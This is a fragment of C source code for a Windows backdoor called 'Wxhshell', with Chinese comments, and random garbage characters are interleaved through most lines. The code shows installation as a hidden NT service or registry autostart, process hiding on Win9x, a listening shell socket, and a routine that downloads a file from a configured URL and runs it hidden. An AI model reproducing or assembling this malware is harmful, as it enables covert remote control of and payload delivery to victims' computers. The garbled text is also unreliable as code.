{N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^"K if(hProcess==NULL) return 0; K+Al8L?K_ "Q'#V! HMODULE hMod; jfZ(5Qu3.H char procName[255]; ,XCC#F(d1 unsigned long cbNeeded; =PAvPj&}e 6%C:k,Cx{d if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PTIC2 W&}YMb CloseHandle(hProcess); ;r>?V2,tm "R+
x if(strstr(procName,"services")) return 1; // 以服务启动 %Nd|VAe A,e/y return 0; // 注册表启动 DSYtj}> } 1F-o3\ k=H{gt
// 主模块 6 +^V int StartWxhshell(LPSTR lpCmdLine) *RUB`tEL { ?2OT :/ I, SOCKET wsl; ##BMh! BOOL val=TRUE; 1gts=g. int port=0; )-|A|1Uo struct sockaddr_in door; n'7 3DApW ;SeDxyKG if(wscfg.ws_autoins) Install(); @)m[:n Wra*lQb/B port=atoi(lpCmdLine); $iDatQ[ UF=5k~7<b if(port<=0) port=wscfg.ws_port; 3=@7:4 A yEtI5Qk WSADATA data; r^_8y8&l if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HD ?z AvRZf-Geg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Crh5^? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BqP:] door.sin_family = AF_INET; Hx2UDHF door.sin_addr.s_addr = inet_addr("127.0.0.1"); oh%T4$ door.sin_port = htons(port); HnUM:-6 e'(n ^_$nl if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >#*]/t closesocket(wsl); X<K[`
=I return 1; ;5ugnVXu } ?`AzgM[I 2,/("lV@0 if(listen(wsl,2) == INVALID_SOCKET) { IE: x&q`3 closesocket(wsl); G%;XJsFGp return 1; wJ1qJ!s@ } lg&"=VXx51 Wxhshell(wsl); %;^[WT`, WSACleanup(); g$ZgR)q MA.1t return 0; LpaY Md; a3 6n}R4Q } k^z)Vu|f. d"Y9go"Z // 以NT服务方式启动 !sEI|47{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fW!~*Q { .
Uv7{( DWORD status = 0; ss T o?WL| DWORD specificError = 0xfffffff; EyI
9$@4 P9:7_Vc serviceStatus.dwServiceType = SERVICE_WIN32; !w]!\H serviceStatus.dwCurrentState = SERVICE_START_PENDING; y1cAw serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6=Kl[U0Y serviceStatus.dwWin32ExitCode = 0; RZjTUMAz4 serviceStatus.dwServiceSpecificExitCode = 0; D(Zux8l serviceStatus.dwCheckPoint = 0; _ D1bR7 serviceStatus.dwWaitHint = 0; ,[,+ _A yx3M0Qo hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )J<Li!3 if (hServiceStatusHandle==0) return; "'94E,W aWm0*W"(@ status = GetLastError(); YNn,{Xi if (status!=NO_ERROR) u]@``Zb| { JMuUj_^}7 serviceStatus.dwCurrentState = SERVICE_STOPPED; ^USj9HTK serviceStatus.dwCheckPoint = 0; Au#(guvm serviceStatus.dwWaitHint = 0; 0?BT* serviceStatus.dwWin32ExitCode = status; Ooc,R( serviceStatus.dwServiceSpecificExitCode = specificError; |iLeOztuE SetServiceStatus(hServiceStatusHandle, &serviceStatus); i
cQsA return; lEQ63)Z } zu(/c S"CsY2; serviceStatus.dwCurrentState = SERVICE_RUNNING; 1m|Oi%i4 serviceStatus.dwCheckPoint = 0; }<uD[[FLB serviceStatus.dwWaitHint = 0; gmLGK1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FgE6j; } $.R$I&U r&A#h;EQX2 // 处理NT服务事件,比如:启动、停止 3lMmSKN VOID WINAPI NTServiceHandler(DWORD fdwControl) ? =_l=dR { 3*CF !Y% switch(fdwControl) <\8dh(> { =:P9 $ case SERVICE_CONTROL_STOP: @Rig@ serviceStatus.dwWin32ExitCode = 0;
93kSBF# serviceStatus.dwCurrentState = SERVICE_STOPPED; h#^IT serviceStatus.dwCheckPoint = 0; @NlnZfMu serviceStatus.dwWaitHint = 0; @bmu4!"d { {[hV['Awv SetServiceStatus(hServiceStatusHandle, &serviceStatus); !vr">@}K } /(BQzCP9O; return; V7N8m<Tf case SERVICE_CONTROL_PAUSE: {{ R/:-6?@ serviceStatus.dwCurrentState = SERVICE_PAUSED; pTOS}A[dh break; ?q7VB case SERVICE_CONTROL_CONTINUE: t2BkQ8vr serviceStatus.dwCurrentState = SERVICE_RUNNING; {O5;V/00} break; f6PXcV
case SERVICE_CONTROL_INTERROGATE: 64#~ p) break; M cNj TD }; vs{i2!^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); RxAWX?9Z } ^.mQ~F <6mXlK3N0 // 标准应用程序主函数 :)g=AhBF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1'"o; a]k/ { L/%3_, ~4=4Ks0 // 获取操作系统版本 &1F)/$,v OsIsNt=GetOsVer(); _{_LTy%[ GetModuleFileName(NULL,ExeFile,MAX_PATH); nFzhj%Pt; Up`$U~%- // 从命令行安装 k^ B'W{ if(strpbrk(lpCmdLine,"iI")) Install();
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nK !Lb9KDk // 下载执行文件 >9esZA^'; if(wscfg.ws_downexe) { ',z'.t if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &~6Z)} WinExec(wscfg.ws_filenam,SW_HIDE); 1e'-rm
F } }bIEW ho @0A0\2 if(!OsIsNt) { uDafPTF // 如果时win9x,隐藏进程并且设置为注册表启动 FGr0W|?v HideProc(); fH`P8?](x StartWxhshell(lpCmdLine); "#rlL^9v } =NSLx 2:T else qp"gD-,-o if(StartFromService()) HGC>jeWd_ // 以服务方式启动 Um9!<G=; StartServiceCtrlDispatcher(DispatchTable); 4_&$isq else #`:60#l // 普通方式启动 \'GX^0yK StartWxhshell(lpCmdLine); Al$"k[-Uin x,2+9CCU return 0; O2:m)@ }
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